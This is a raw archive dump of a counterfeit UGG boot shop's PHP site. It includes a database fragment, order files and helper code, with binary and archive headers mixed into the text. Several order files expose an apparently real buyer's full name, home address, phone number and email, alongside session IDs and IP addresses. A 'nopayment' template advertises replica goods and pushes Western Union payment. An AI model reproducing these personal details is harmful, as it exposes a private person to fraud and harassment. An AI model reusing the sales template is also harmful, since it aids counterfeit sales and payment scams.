integer,usetime integer)Q%%etablesubscriptionsubscriptionCREATE TABLE subscription(id integer primary key,email text,firstname text,lastname text,gender integer,occupation text,birthday integer,country text,zip text,remarks text) tableordersordersCREATE TABLE orders(id integer primary key,email text,orderid text,ctime integer,alerts integer,lastalert integer,status text) 1pesci87@hotmail.it1Pesci87@hotmail.it%df@gmail.com    v_H1/20111018193858968 1201110181928046431 12011101819270534101201110181858088269120111018185556581012011101818484721891201109141725163468120110913091901834112011090909413670011201109081807404909cheapuggsales.uk.com/cart_new/empty.html0000777000000000000000000000243311634073700017422 0ustar rootroot Shopping Cart

    Shopping Cart is Empty

    You have no items in your shopping cart.

    Click here to continue shopping.

    cheapuggsales.uk.com/cart_new/orders/0000777000000000000000000000000011647262755016705 5ustar rootrootcheapuggsales.uk.com/cart_new/orders/201109081807404909.txt0000777000000000000000000000324111633550313021350 0ustar rootrootCart order_id:201109081807404909 cart_currency:GBP shipping_fee:0 products[439__US 6 UK 4.5 EUR 37]_id:439__US 6 UK 4.5 EUR 37 products[439__US 6 UK 4.5 EUR 37]_name:UGG Highkoo Boots Red 5765 products[439__US 6 UK 4.5 EUR 37]_price:92.83 products[439__US 6 UK 4.5 EUR 37]_discount:0 products[439__US 6 UK 4.5 EUR 37]_count:1 products[439__US 6 UK 4.5 EUR 37]_dis_count:0 products[439__US 6 UK 4.5 EUR 37]_purl:http://www.uggsale.uk.com/UGG-Highkoo-Boots/UGG-Highkoo-Boots-Red-5765.html products[439__US 6 UK 4.5 EUR 37]_pimg:/images/16/1314745227s.jpg products[439__US 6 UK 4.5 EUR 37]_money:92.83 products[439__US 6 UK 4.5 EUR 37]_dis_money:0 Money total:92.83 Discount money total:0 Grand total:92.83 Cookie cookie_test:1 billshipsame:1 billCustomerName:a a billAddress:asdf billemail:asdf22@fawefc.com billcity:asdf billregion:asdf billpostcode:asf billcountry:United States billtelephone:asdf billsex:0 shipCustomerName:a a shipAddress:asdf shipemail:asdf22@fawefc.com shipcity:asdf shipregion:asdf shippostcode:asf shipcountry:United States shiptelephone:asdf shipsex:0 carttype:M cur:GBP PHPSESSID:55cdab6b8caa0d1b91b96f69de8627f9 FrCart_75_119_223_35_session_id:55cdab6b8caa0d1b91b96f69de8627f9 Get action:sendmail _:1315476498825 Post _Server SERVER_NAME:www.uggsale.uk.com HTTP_CLIENT_IP: REMOTE_ADDR:75.119.223.35 HTTP_X_FORWARDED_FOR:75.119.223.35 HTTP_USER_AGENT:Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22 HTTP_ACCEPT:application/json, text/javascript, */* HTTP_ACCEPT_LANGUAGE:en,zh-cn;q=0.7,zh;q=0.3 HTTP_ACCEPT_ENCODING:gzip,deflate cheapuggsales.uk.com/cart_new/orders/201109141725163468.txt0000777000004100000410000000331711634071673022714 0ustar www-datawww-dataCart order_id:201109141725163468 cart_currency:GBP shipping_fee:0 products[353__US 7 UK 5.5 EUR 38]_id:353__US 7 UK 5.5 EUR 38 products[353__US 7 UK 5.5 EUR 38]_name:UGG Classic Tall Boots Rose 5815 products[353__US 7 UK 5.5 EUR 38]_price:73.7 products[353__US 7 UK 5.5 EUR 38]_discount:0 products[353__US 7 UK 5.5 EUR 38]_count:1 products[353__US 7 UK 5.5 EUR 38]_dis_count:0 products[353__US 7 UK 5.5 EUR 38]_purl:http://www.cheapuggsales.uk.com/UGG-Classic-Tall-Boots/UGG-Classic-Tall-Boots-Rose-5815.html products[353__US 7 UK 5.5 EUR 38]_pimg:/images/1/1314740884s.jpg products[353__US 7 UK 5.5 EUR 38]_money:73.7 products[353__US 7 UK 5.5 EUR 38]_dis_money:0 Money total:73.7 Discount money total:0 Grand total:73.7 Cookie cookie_test:1 billshipsame:1 billCustomerName:dgfd dgdg billAddress:sdfdsf billemail:df@gmail.com billcity:dgdg billregion:dgdg billpostcode:898565 billcountry:United States billtelephone:41465632 billsex:0 shipCustomerName:dgfd dgdg shipAddress:sdfdsf shipemail:df@gmail.com shipcity:dgdg shipregion:dgdg shippostcode:898565 shipcountry:United States shiptelephone:41465632 shipsex:0 carttype:V cur:GBP PHPSESSID:35ff9db2fa458aa51769b3fca24a3518 FrCart_60_6_237_52_session_id:35ff9db2fa458aa51769b3fca24a3518 Get action:sendmail _:1315992612890 Post _Server SERVER_NAME:www.cheapuggsales.uk.com HTTP_CLIENT_IP: REMOTE_ADDR:46.19.136.100 HTTP_X_FORWARDED_FOR:60.6.237.52 HTTP_USER_AGENT:Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.16 Safari/534.24 HTTP_ACCEPT:application/json, text/javascript, */* HTTP_ACCEPT_LANGUAGE:zh-CN,zh;q=0.8 HTTP_ACCEPT_ENCODING:gzip,deflate,sdch cheapuggsales.uk.com/cart_new/orders/201109071823318126.txt0000777000000000000000000000253511633550313021345 0ustar rootrootCart order_id:201109071823318126 cart_currency:USD shipping_fee:0 products[1]_id:1 products[1]_name:name products[1]_price:200 products[1]_discount:0 products[1]_count:1 products[1]_dis_count:0 products[1]_purl: products[1]_pimg: products[1]_money:200 products[1]_dis_money:0 Money total:200 Discount money total:0 Grand total:200 Cookie cookie_test:1 billshipsame:1 billCustomerName:asdf asdf billAddress:asdfasdf billemail:asdfasdf@163.com billcity:asdfasdf billregion:asdfasdf billpostcode:asfdasdf billcountry:United States billtelephone:asdfasdf billsex:0 shipCustomerName:asdf asdf shipAddress:asdfasdf shipemail:asdfasdf@163.com shipcity:asdfasdf shipregion:asdfasdf shippostcode:asfdasdf shipcountry:United States shiptelephone:asdfasdf shipsex:0 carttype:V FrCart_127_0_0_1_session_id:77cee7183bfc3d208f128fd850b04144 ZDEDebuggerPresent:php,phtml,php3 PHPSESSID:77cee7183bfc3d208f128fd850b04144 Get action:sendmail _:1315391137656 Post _Server SERVER_NAME:thief HTTP_CLIENT_IP: REMOTE_ADDR:127.0.0.1 HTTP_X_FORWARDED_FOR: HTTP_USER_AGENT:Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 HTTP_ACCEPT:application/json, text/javascript, */* HTTP_ACCEPT_LANGUAGE:zh-CN,zh;q=0.8 HTTP_ACCEPT_ENCODING:gzip,deflate,sdch cheapuggsales.uk.com/cart_new/orders/201109130919018341.txt0000777000000000000000000000335211633550313021341 0ustar rootrootCart order_id:201109130919018341 cart_currency:GBP shipping_fee:0 products[480__US 7 UK 5.5 EUR 38]_id:480__US 7 UK 5.5 EUR 38 products[480__US 7 UK 5.5 EUR 38]_name:Men UGG Classic Short Boots Light Sand products[480__US 7 UK 5.5 EUR 38]_price:104.71 products[480__US 7 UK 5.5 EUR 38]_discount:0 products[480__US 7 UK 5.5 EUR 38]_count:1 products[480__US 7 UK 5.5 EUR 38]_dis_count:0 products[480__US 7 UK 5.5 EUR 38]_purl:http://www.uggsale.uk.com/Men-UGG-Classic-Short-Boots/Men-UGG-Classic-Short-Boots-Light-Sand.html products[480__US 7 UK 5.5 EUR 38]_pimg:/images/26/1314746867d.jpg products[480__US 7 UK 5.5 EUR 38]_money:104.71 products[480__US 7 UK 5.5 EUR 38]_dis_money:0 Money total:104.71 Discount money total:0 Grand total:104.71 Cookie cookie_test:1 billshipsame:1 billCustomerName:cdshy gdtj billAddress:sgf gfdjng billemail:yulu77@gmail.com billcity:gdjh billregion:sadfv billpostcode:6521fd billcountry:United States billtelephone:251456 billsex:1 shipCustomerName:cdshy gdtj shipAddress:sgf gfdjng shipemail:yulu77@gmail.com shipcity:gdjh shipregion:sadfv shippostcode:6521fd shipcountry:United States shiptelephone:251456 shipsex:1 carttype:M cur:GBP PHPSESSID:561b9ad2f1c6176da7efb07ea3100944 FrCart_60_6_237_52_session_id:561b9ad2f1c6176da7efb07ea3100944 Get action:sendmail _:1315876813576 Post _Server SERVER_NAME:www.uggsale.uk.com HTTP_CLIENT_IP: REMOTE_ADDR:60.6.237.52 HTTP_X_FORWARDED_FOR:60.6.237.52 HTTP_USER_AGENT:Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 HTTP_ACCEPT:application/json, text/javascript, */* HTTP_ACCEPT_LANGUAGE:zh-CN,zh;q=0.8 HTTP_ACCEPT_ENCODING:gzip,deflate,sdch cheapuggsales.uk.com/cart_new/orders/201109090941367001.txt0000777000000000000000000000333111633550313021336 0ustar rootrootCart order_id:201109090941367001 cart_currency:GBP shipping_fee:0 products[371__US 7 UK 5.5 EUR 38]_id:371__US 7 UK 5.5 EUR 38 products[371__US 7 UK 5.5 EUR 38]_name:UGG Classic Short Boots Brown 5825 products[371__US 7 UK 5.5 EUR 38]_price:104.01 products[371__US 7 UK 5.5 EUR 38]_discount:0 products[371__US 7 UK 5.5 EUR 38]_count:1 products[371__US 7 UK 5.5 EUR 38]_dis_count:0 products[371__US 7 UK 5.5 EUR 38]_purl:http://www.uggsale.uk.com/UGG-Classic-Short-Boots/UGG-Classic-Short-Boots-Brown-5825.html products[371__US 7 UK 5.5 EUR 38]_pimg:/images/2/1314741538t.jpg products[371__US 7 UK 5.5 EUR 38]_money:104.01 products[371__US 7 UK 5.5 EUR 38]_dis_money:0 Money total:104.01 Discount money total:0 Grand total:104.01 Cookie cookie_test:1 billshipsame:1 billCustomerName:dsjkgfj rewtg billAddress:asdgf billemail:yulu77@gmail.com billcity:asf billregion:edawf billpostcode:dfdhgf billcountry:United States billtelephone:5899645 billsex:1 shipCustomerName:dsjkgfj rewtg shipAddress:asdgf shipemail:yulu77@gmail.com shipcity:asf shipregion:edawf shippostcode:dfdhgf shipcountry:United States shiptelephone:5899645 shipsex:1 carttype:M PHPSESSID:c857f3e7a85696d5adaf6a603745ec6f cur:GBP FrCart_60_6_237_52_session_id:c857f3e7a85696d5adaf6a603745ec6f Get action:sendmail _:1315532596789 Post _Server SERVER_NAME:www.uggsale.uk.com HTTP_CLIENT_IP: REMOTE_ADDR:60.6.237.52 HTTP_X_FORWARDED_FOR:60.6.237.52 HTTP_USER_AGENT:Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 HTTP_ACCEPT:application/json, text/javascript, */* HTTP_ACCEPT_LANGUAGE:zh-CN,zh;q=0.8 HTTP_ACCEPT_ENCODING:gzip,deflate,sdch cheapuggsales.uk.com/cart_new/orders/201109071827246706.txt0000777000000000000000000000253211633550313021352 0ustar rootrootCart order_id:201109071827246706 cart_currency:USD shipping_fee:0 products[1]_id:1 products[1]_name:name products[1]_price:200 products[1]_discount:0 products[1]_count:1 products[1]_dis_count:0 products[1]_purl: products[1]_pimg: products[1]_money:200 products[1]_dis_money:0 Money total:200 Discount money total:0 Grand total:200 Cookie cookie_test:1 billshipsame:1 billCustomerName:asdf asdf billAddress:asdf billemail:asdfasdf323fafwwer456werwe345e4@qq.com billcity:asdf billregion:asdf billpostcode:asdf billcountry:United States billtelephone:asf billsex:0 shipCustomerName:asdf asdf shipAddress:asdf shipemail:asdfasdf323fafwwer456werwe345e4@qq.com shipcity:asdf shipregion:asdf shippostcode:asdf shipcountry:United States shiptelephone:asf shipsex:0 carttype:M ZDEDebuggerPresent:php,phtml,php3 PHPSESSID:9c9c25ac6190bdc2f2dbacfd8807faad FrCart_127_0_0_1_session_id:9c9c25ac6190bdc2f2dbacfd8807faad Get action:sendmail _:1315391301958 Post _Server SERVER_NAME:thief HTTP_CLIENT_IP: REMOTE_ADDR:127.0.0.1 HTTP_X_FORWARDED_FOR: HTTP_USER_AGENT:Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.21) Gecko/20110830 Firefox/3.6.21 HTTP_ACCEPT:application/json, text/javascript, */* HTTP_ACCEPT_LANGUAGE:en,zh-cn;q=0.7,zh;q=0.3 HTTP_ACCEPT_ENCODING:gzip,deflate cheapuggsales.uk.com/cart_new/orders/201110181848472189.txt0000777000004100000410000000405111647255123022713 0ustar www-datawww-dataCart order_id:201110181848472189 cart_currency:EUR shipping_fee:0 products[446__US 8 UK 6.5 EUR 39]_id:446__US 8 UK 6.5 EUR 39 products[446__US 8 UK 6.5 EUR 39]_name:UGG Roxy Tall Boots Chestnut 5818 products[446__US 8 UK 6.5 EUR 39]_price:85.77 products[446__US 8 UK 6.5 EUR 39]_discount:0 products[446__US 8 UK 6.5 EUR 39]_count:1 products[446__US 8 UK 6.5 EUR 39]_dis_count:0 products[446__US 8 UK 6.5 EUR 39]_purl:http://www.cheapuggsales.uk.com/UGG-Roxy-Tall-Boots/UGG-Roxy-Tall-Boots-Chestnut-5818.html products[446__US 8 UK 6.5 EUR 39]_pimg:/images/18/1314745625l.jpg products[446__US 8 UK 6.5 EUR 39]_money:85.77 products[446__US 8 UK 6.5 EUR 39]_dis_money:0 Money total:85.77 Discount money total:0 Grand total:85.77 Cookie cookie_test:1 billshipsame:1 billCustomerName:Silvia Gaia Donadel billAddress:Via La prà 4 billemail:pesci87@hotmail.it billcity:Povegliano Veronese billregion:Verona billpostcode:37064 billcountry:Italy billtelephone:340/8431840 billsex:1 shipCustomerName:Silvia Gaia Donadel shipAddress:Via La prà 4 shipemail:pesci87@hotmail.it shipcity:Povegliano Veronese shipregion:Verona shippostcode:37064 shipcountry:Italy shiptelephone:340/8431840 shipsex:1 carttype:V cur:GBP PHPSESSID:ma7dtgv2ft2dtlkv070ksphgd3 FrCart_79_16_13_93_session_id:ma7dtgv2ft2dtlkv070ksphgd3 __utma:244049111.945970953.1136070432.1136070432.1136070432.1 __utmb:244049111.4.10.1136070432 __utmc:244049111 __utmz:244049111.1136070432.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=cheapuggsales.uk.com Get action:sendmail _:1136070667179 Post _Server SERVER_NAME:www.cheapuggsales.uk.com HTTP_CLIENT_IP: REMOTE_ADDR:46.19.136.100 HTTP_X_FORWARDED_FOR:79.16.13.93 HTTP_USER_AGENT:Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) HTTP_ACCEPT:application/json, text/javascript, */* HTTP_ACCEPT_LANGUAGE:it HTTP_ACCEPT_ENCODING:gzip, deflate cheapuggsales.uk.com/cart_new/orders/201110181855565810.txt0000777000004100000410000000355111647255564022720 0ustar www-datawww-dataCart order_id:201110181855565810 cart_currency:EUR shipping_fee:0 products[446__US 8 UK 6.5 EUR 39]_id:446__US 8 UK 6.5 EUR 39 products[446__US 8 UK 6.5 EUR 39]_name:UGG Roxy Tall Boots Chestnut 5818 products[446__US 8 UK 6.5 EUR 39]_price:85.77 products[446__US 8 UK 6.5 EUR 39]_discount:0 products[446__US 8 UK 6.5 EUR 39]_count:1 products[446__US 8 UK 6.5 EUR 39]_dis_count:0 products[446__US 8 UK 6.5 EUR 39]_purl:http://www.cheapuggsales.uk.com/UGG-Roxy-Tall-Boots/UGG-Roxy-Tall-Boots-Chestnut-5818.html products[446__US 8 UK 6.5 EUR 39]_pimg:/images/18/1314745625l.jpg products[446__US 8 UK 6.5 EUR 39]_money:85.77 products[446__US 8 UK 6.5 EUR 39]_dis_money:0 Money total:85.77 Discount money total:0 Grand total:85.77 Cookie cookie_test:1 billshipsame:1 billCustomerName:Silvia Gaia Donadel billAddress:Via La prà 4 billemail:pesci87@hotmail.it billcity:Povegliano Veronese billregion:Verona billpostcode:37064 billcountry:Italy billtelephone:340/8431840 billsex:1 shipCustomerName:Silvia Gaia Donadel shipAddress:Via La prà 4 shipemail:pesci87@hotmail.it shipcity:Povegliano Veronese shipregion:Verona shippostcode:37064 shipcountry:Italy shiptelephone:340/8431840 shipsex:1 carttype:V cur:deleted PHPSESSID:deleted FrCart_79_16_13_93_session_id:deleted __utma:deleted __utmb:deleted __utmc:deleted __utmz:deleted Get action:sendmail _:1136070955969 Post _Server SERVER_NAME:www.cheapuggsales.uk.com HTTP_CLIENT_IP: REMOTE_ADDR:46.19.136.100 HTTP_X_FORWARDED_FOR:79.16.13.93 HTTP_USER_AGENT:Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) HTTP_ACCEPT:application/json, text/javascript, */* HTTP_ACCEPT_LANGUAGE:it HTTP_ACCEPT_ENCODING:gzip, deflate cheapuggsales.uk.com/cart_new/orders/201110181858088269.txt0000777000004100000410000000355111647255763022734 0ustar www-datawww-dataCart order_id:201110181858088269 cart_currency:EUR shipping_fee:0 products[446__US 8 UK 6.5 EUR 39]_id:446__US 8 UK 6.5 EUR 39 products[446__US 8 UK 6.5 EUR 39]_name:UGG Roxy Tall Boots Chestnut 5818 products[446__US 8 UK 6.5 EUR 39]_price:85.77 products[446__US 8 UK 6.5 EUR 39]_discount:0 products[446__US 8 UK 6.5 EUR 39]_count:1 products[446__US 8 UK 6.5 EUR 39]_dis_count:0 products[446__US 8 UK 6.5 EUR 39]_purl:http://www.cheapuggsales.uk.com/UGG-Roxy-Tall-Boots/UGG-Roxy-Tall-Boots-Chestnut-5818.html products[446__US 8 UK 6.5 EUR 39]_pimg:/images/18/1314745625l.jpg products[446__US 8 UK 6.5 EUR 39]_money:85.77 products[446__US 8 UK 6.5 EUR 39]_dis_money:0 Money total:85.77 Discount money total:0 Grand total:85.77 Cookie cookie_test:1 billshipsame:1 billCustomerName:Silvia Gaia Donadel billAddress:Via La prà 4 billemail:pesci87@hotmail.it billcity:Povegliano Veronese billregion:Verona billpostcode:37064 billcountry:Italy billtelephone:340/8431840 billsex:1 shipCustomerName:Silvia Gaia Donadel shipAddress:Via La prà 4 shipemail:pesci87@hotmail.it shipcity:Povegliano Veronese shipregion:Verona shippostcode:37064 shipcountry:Italy shiptelephone:340/8431840 shipsex:1 carttype:V cur:deleted PHPSESSID:deleted FrCart_79_16_13_93_session_id:deleted __utma:deleted __utmb:deleted __utmc:deleted __utmz:deleted Get action:sendmail _:1136071082829 Post _Server SERVER_NAME:www.cheapuggsales.uk.com HTTP_CLIENT_IP: REMOTE_ADDR:46.19.136.100 HTTP_X_FORWARDED_FOR:79.16.13.93 HTTP_USER_AGENT:Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) HTTP_ACCEPT:application/json, text/javascript, */* HTTP_ACCEPT_LANGUAGE:it HTTP_ACCEPT_ENCODING:gzip, deflate cheapuggsales.uk.com/cart_new/orders/201110181927053410.txt0000777000004100000410000000370511647261261022674 0ustar www-datawww-dataCart order_id:201110181927053410 cart_currency:EUR shipping_fee:0 products[446__US 8 UK 6.5 EUR 39]_id:446__US 8 UK 6.5 EUR 39 products[446__US 8 UK 6.5 EUR 39]_name:UGG Roxy Tall Boots Chestnut 5818 products[446__US 8 UK 6.5 EUR 39]_price:85.77 products[446__US 8 UK 6.5 EUR 39]_discount:0 products[446__US 8 UK 6.5 EUR 39]_count:1 products[446__US 8 UK 6.5 EUR 39]_dis_count:0 products[446__US 8 UK 6.5 EUR 39]_purl:http://www.cheapuggsales.uk.com/UGG-Roxy-Tall-Boots/UGG-Roxy-Tall-Boots-Chestnut-5818.html products[446__US 8 UK 6.5 EUR 39]_pimg:/images/18/1314745625l.jpg products[446__US 8 UK 6.5 EUR 39]_money:85.77 products[446__US 8 UK 6.5 EUR 39]_dis_money:0 Money total:85.77 Discount money total:0 Grand total:85.77 Cookie cookie_test:1 billshipsame:1 billCustomerName:Silvia Gaia Donadel billAddress:Via La prà 4 billemail:pesci87@hotmail.it billcity:Povegliano Veronese billregion:Verona billpostcode:37064 billcountry:Italy billtelephone:340/8431840 billsex:1 shipCustomerName:Silvia Gaia Donadel shipAddress:Via La prà 4 shipemail:pesci87@hotmail.it shipcity:Povegliano Veronese shipregion:Verona shippostcode:37064 shipcountry:Italy shiptelephone:340/8431840 shipsex:1 carttype:V __utma:244049111.727062625.1318937187.1318937187.1318937187.1 __utmb:244049111.1.10.1318937187 __utmc:244049111 __utmz:244049111.1318937187.1.1.utmcsr=du106w.dub106.mail.live.com|utmccn=(referral)|utmcmd=referral|utmcct=/default.aspx PHPSESSID:dssatg3varokh2vk8283ehk2p5 FrCart_79_16_13_93_session_id:dssatg3varokh2vk8283ehk2p5 Get action:sendmail _:1318937245340 Post _Server SERVER_NAME:www.cheapuggsales.uk.com HTTP_CLIENT_IP: REMOTE_ADDR:46.19.136.100 HTTP_X_FORWARDED_FOR:79.16.13.93 HTTP_USER_AGENT:Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) HTTP_ACCEPT:application/json, text/javascript, */* HTTP_ACCEPT_LANGUAGE:it HTTP_ACCEPT_ENCODING:gzip, deflate cheapuggsales.uk.com/cart_new/orders/201110181928046431.txt0000777000004100000410000000154211647261304022675 0ustar www-datawww-dataCart order_id:201110181928046431 cart_currency: shipping_fee: Money total:0 Discount money total:0 Grand total:0 Cookie cookie_test:1 __utma:244049111.727062625.1318937187.1318937187.1318937187.1 __utmb:244049111.1.10.1318937187 __utmc:244049111 __utmz:244049111.1318937187.1.1.utmcsr=du106w.dub106.mail.live.com|utmccn=(referral)|utmcmd=referral|utmcct=/default.aspx PHPSESSID:dssatg3varokh2vk8283ehk2p5 FrCart_79_16_13_93_session_id:dssatg3varokh2vk8283ehk2p5 Get action:sendmail _:1318937264992 Post _Server SERVER_NAME:www.cheapuggsales.uk.com HTTP_CLIENT_IP: REMOTE_ADDR:46.19.136.100 HTTP_X_FORWARDED_FOR:79.16.13.93 HTTP_USER_AGENT:Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) HTTP_ACCEPT:application/json, text/javascript, */* HTTP_ACCEPT_LANGUAGE:it HTTP_ACCEPT_ENCODING:gzip, deflate cheapuggsales.uk.com/cart_new/orders/20111018193858968.txt0000777000004100000410000000361011647262755022651 0ustar www-datawww-dataCart order_id:20111018193858968 cart_currency:GBP shipping_fee:0 products[446__US 7 UK 5.5 EUR 38]_id:446__US 7 UK 5.5 EUR 38 products[446__US 7 UK 5.5 EUR 38]_name:UGG Roxy Tall Boots Chestnut 5818 products[446__US 7 UK 5.5 EUR 38]_price:85.77 products[446__US 7 UK 5.5 EUR 38]_discount:0 products[446__US 7 UK 5.5 EUR 38]_count:1 products[446__US 7 UK 5.5 EUR 38]_dis_count:0 products[446__US 7 UK 5.5 EUR 38]_purl:http://www.cheapuggsales.uk.com/UGG-Roxy-Tall-Boots/UGG-Roxy-Tall-Boots-Chestnut-5818.html products[446__US 7 UK 5.5 EUR 38]_pimg:/images/18/1314745625l.jpg products[446__US 7 UK 5.5 EUR 38]_money:85.77 products[446__US 7 UK 5.5 EUR 38]_dis_money:0 Money total:85.77 Discount money total:0 Grand total:85.77 Cookie cookie_test:1 billshipsame:1 billCustomerName:jaony fds billAddress:fgfhf fdg billemail:yulu77@gmail.com billcity:sfddtg billregion:fdsgf billpostcode:dfsg billcountry:Italy billtelephone:256563223 billsex:1 shipCustomerName:jaony fds shipAddress:fgfhf fdg shipemail:yulu77@gmail.com shipcity:sfddtg shipregion:fdsgf shippostcode:dfsg shipcountry:Italy shiptelephone:256563223 shipsex:1 carttype:V __utma:244049111.1719552482.1318937481.1318937481.1318937481.1 __utmb:244049111.2.10.1318937481 __utmc:244049111 __utmz:244049111.1318937481.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) PHPSESSID:me00b6dtl8r1j39je793hm9o26 FrCart_121_27_153_245_session_id:me00b6dtl8r1j39je793hm9o26 Get action:sendmail _:1318938103481 Post _Server SERVER_NAME:www.cheapuggsales.uk.com HTTP_CLIENT_IP: REMOTE_ADDR:46.19.136.100 HTTP_X_FORWARDED_FOR:121.27.153.245 HTTP_USER_AGENT:Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.4 (KHTML, like Gecko) Chrome/16.0.889.0 Safari/535.4 HTTP_ACCEPT:application/json, text/javascript, */* HTTP_ACCEPT_LANGUAGE:zh-CN,zh;q=0.8 HTTP_ACCEPT_ENCODING:gzip,deflate,sdch cheapuggsales.uk.com/cart_new/nopayment.txt0000777000000000000000000000072711634073731020161 0ustar rootrootDear, thank u for searching us for your replica items. we sell top quality replica items. all the items we showed in our website are twins with the real one. if you have any question just give me mails. thank u again. i saw that you did not finish your payment, can i help u? if you can pay via western union or other method please let me know, we can give you a discount. and if you can pay again, we will send you a box as gift. product url: {var_productsurl}cheapuggsales.uk.com/cart_new/js.php0000777000000000000000000000405511634073714016532 0ustar rootrootdata AS $k => $v) { if($k=='otherdata') continue; if ((int)$v['count']>0){ $pcount+=(int)$v['count']; } } if ($pcount>0){ //$pcount items | total: $".$cart->sum('money')." echo "document.write (\"$pcount items | total: $".$cart->sum('money')."\");"; }else{ echo "document.write (\"Shopping Cart is Empty\");"; } ?> document.write (""); document.writeln("
    "); document.writeln("
    \"ItsYourWatch<\/a>
    cheapuggsales.uk.com/functions/0000777000000000000000000000000011633550315015600 5ustar rootrootcheapuggsales.uk.com/functions/functions.php0000777000000000000000000007115411633550315020334 0ustar rootroot$v) $result[$k]=result_outsqlite($v); } return $result; } function result_insqlite($result) { if(is_numeric($result)) { if(intval($result)==$result) return intval($result); else return floatval($result); } if(is_string($result)) return str_insqlite($result); if(is_array($result)) { foreach($result as $k=>$v) $result[$k]=result_insqlite($v); } return $result; } function set_config($config) { if(!is_array($config)) return FALSE; $configfile = SITE_DIR.'data/config.php'; if(!is_writable($configfile)) showmessage('Please chmod ./data/config.php to 0777 !'); $pattern = $replacement = array(); foreach($config as $k=>$v) { if(in_array($k,array('SITE_LIST_SIZE'))) $v = intval($v); $pattern[$k] = "/define\(\s*['\"]".strtoupper($k)."['\"]\s*,\s*([']?)[^']*([']?)\s*\)/is"; $replacement[$k] = "define('".$k."', \${1}".$v."\${2})"; } $str = file_get_contents($configfile); $str = preg_replace($pattern, $replacement, $str); return file_put_contents($configfile, $str); } function del_dir($dir) { if(!file_exists($dir)) return; if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != "..") { if(is_dir($dir."/".$file)) del_dir($dir."/".$file); else unlink($dir."/".$file); } } closedir($handle); rmdir($dir); } } function make_dir($folder) { $reval = false; if (!file_exists($folder)) { @umask(0); preg_match_all('/([^\/]*)\/?/i', $folder, $atmp); $base = ($atmp[0][0] == '/') ? '/' : ''; foreach ($atmp[1] AS $val) { if ('' != $val) { $base .= $val; if ('..' == $val || '.' == $val) { $base .= '/'; continue; } } else { continue; } $base .= '/'; if (!file_exists($base)) { if (@mkdir(rtrim($base, '/'), 0777)) { @chmod($base, 0777); $reval = true; } } } } else { $reval = is_dir($folder); } clearstatcache(); return $reval; } function rechr($rechr) { $rechr=preg_replace('/[^0-9a-zA-Z|-]/',"-",$rechr); for (;substr($rechr,0,2)=="-";) $rechr=substr($rechr,1,(strlen($rechr)-1)); for (;strpos($rechr,"--")>0;) $rechr=str_replace("--","-",$rechr); return trim($rechr,"-"); } function safe_write($file,$func,$newdata) { clearstatcache(); if(!file_exists($file)) { $data = ""; $dir=dirname($file); make_dir($dir); file_put_contents($file,$data); } if ($fd = @fopen($file, "r+")) { flock($fd, LOCK_EX); $size=filesize($file); $data=fread($fd,$size); $data=eval(substr($data,5,-2)); $data=call_user_func($func,$newdata,$data); $data = ""; ftruncate($fd,0); fseek($fd,0,SEEK_SET); $strlen=fwrite($fd, $data); flock($fd, LOCK_UN); fclose($fd); @chmod($file, 0777); return $strlen; } return false; } function ids_addid($data,$olddata) { if(!is_array($data) || !is_array($olddata)) return $olddata; foreach($data as $k=>$d) { if(is_array($d)) { if(isset($olddata[$k])) $olddata[$k]=ids_addid($d,$olddata[$k]); } else { if(isset($olddata[$k])) { $olddata[$k].=",".$d; $olddata[$k]=trim($olddata[$k],","); } } } return $olddata; } function ids_delid($data,$olddata) { if(!is_array($data) || !is_array($olddata)) return $olddata; foreach($data as $k=>$d) { if(is_array($d)) { if(isset($olddata[$k])) { $olddata[$k]=ids_delid($d,$olddata[$k]); } } else { if(isset($olddata[$k])) { $id_arr=explode(",",$d); foreach($id_arr as $id) { $olddata[$k]=",".$olddata[$k].","; $olddata[$k]=preg_replace("/,$id(?=,)/","",$olddata[$k]); $olddata[$k]=trim($olddata[$k],","); } } } } return $olddata; } function update_data($data,$olddata) { if(!is_array($data) || !is_array($olddata)) return $olddata; foreach($data as $k=>$d) { if(is_array($d)) { if(isset($olddata[$k])) $olddata[$k]=update_data($d,$olddata[$k]); } else { if(isset($olddata[$k])) $olddata[$k]=$d; } } return $olddata; } function add_data($data,$olddata) { if(!is_array($data) || !is_array($olddata)) return $olddata; foreach($data as $k=>$d) { if(isset($olddata[$k])) { if(is_array($d)) $olddata[$k]=add_data($d,$olddata[$k]); } else { //if(!isset($olddata[$k])) $olddata[$k]=$d; } } return $olddata; } function del_data($data,$olddata) { if(!is_array($data) || !is_array($olddata)) return $olddata; foreach($data as $k=>$d) { if(isset($olddata[$k])) { if(is_array($d)) $olddata[$k]=del_data($d,$olddata[$k]); else unset($olddata[$k]); } } return $olddata; } function getmaxid($object='product',$action="add") { if ($fd = @fopen(MAXID, "r+")) { flock($fd, LOCK_EX); $size=filesize(MAXID); $data=fread($fd,$size); $data=eval(substr($data,5,-2)); if($action=="add" && isset($data[$object])) 